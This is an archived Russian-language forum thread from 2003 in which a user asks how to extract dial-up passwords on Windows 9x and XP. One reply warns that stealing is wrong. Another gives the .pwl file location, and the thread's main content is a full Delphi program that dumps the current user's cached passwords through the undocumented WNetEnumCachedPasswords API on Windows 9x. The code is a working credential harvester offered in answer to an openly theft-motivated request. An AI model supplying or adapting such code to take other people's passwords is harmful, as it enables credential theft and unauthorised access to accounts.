Форум: "Система";
Текущий архив: 2003.03.06;
Скачать: [xml.tar.bz2];
ВнизКак достать пароли для Dialup в XP/9x Найти похожие ветки
← →
grab3 (2003-01-07 18:54) [0]subj
← →
}{enon (2003-01-07 19:03) [1]Воровать не есть хорошо, а вообще без троянов никак - они шифруются по необратимому алгоритму (должны шифроваться)
← →
grab3 (2003-01-07 19:12) [2]Ладно, а как тогда хотябы узнать где PWL текущего юзера хранится... А насчет воровать, так я только учусь(раньше на VB кодил).
← →
}{enon (2003-01-07 19:17) [3]А разве на VB это возможно?
В 9х они храняться в папке Windows"a (C:\windows\username.pwl), а в ХР такого файла нет - как и в Windows-2000 они хранятся в спец. файле(не PWL)
← →
grab3 (2003-01-07 19:24) [4]Так я и про XP не говорю(ну конечно подразумеваю :-)) Не охота чета защиту NT пытаться сломать. А как Юзернейм узнать?
← →
Pat (2003-01-07 19:51) [5]>А как Юзернейм узнать?
GetUserName()
← →
CaNaBiS (2003-01-07 23:02) [6]У меня есть исходничок для 98,ME
Правда он на vb написан
← →
Diamond Cat (2003-01-08 01:15) [7]How to "hack" windumbs passwords.
---------------------------------------
Copyright (c) 1999 by Aleksey Kuznetsov
E-mail: info@utilmind.com
WWW: http://www.utilmind.com
---------------------------------------
This program shows cached passwords using standard (but undocumented)
Windows API on local machine for current user (user must be logged in).
unit Unit1;
interface
uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name "WNetEnumCachedPasswords";
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
// CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + " Password=" + StrPas(PC);
Form1.ListBox.Items.Add(Password);
Result := True;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox("Не могу прочитать пароль: User is not logon.", "Error", mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add("нету паролей");
end;
end.
под 9х работала под XP не пашет отсутствует такая функция в библиотеке, либо переименована, надо рыть
Страницы: 1 вся ветка
Форум: "Система";
Текущий архив: 2003.03.06;
Скачать: [xml.tar.bz2];
Память: 0.46 MB
Время: 0.01 c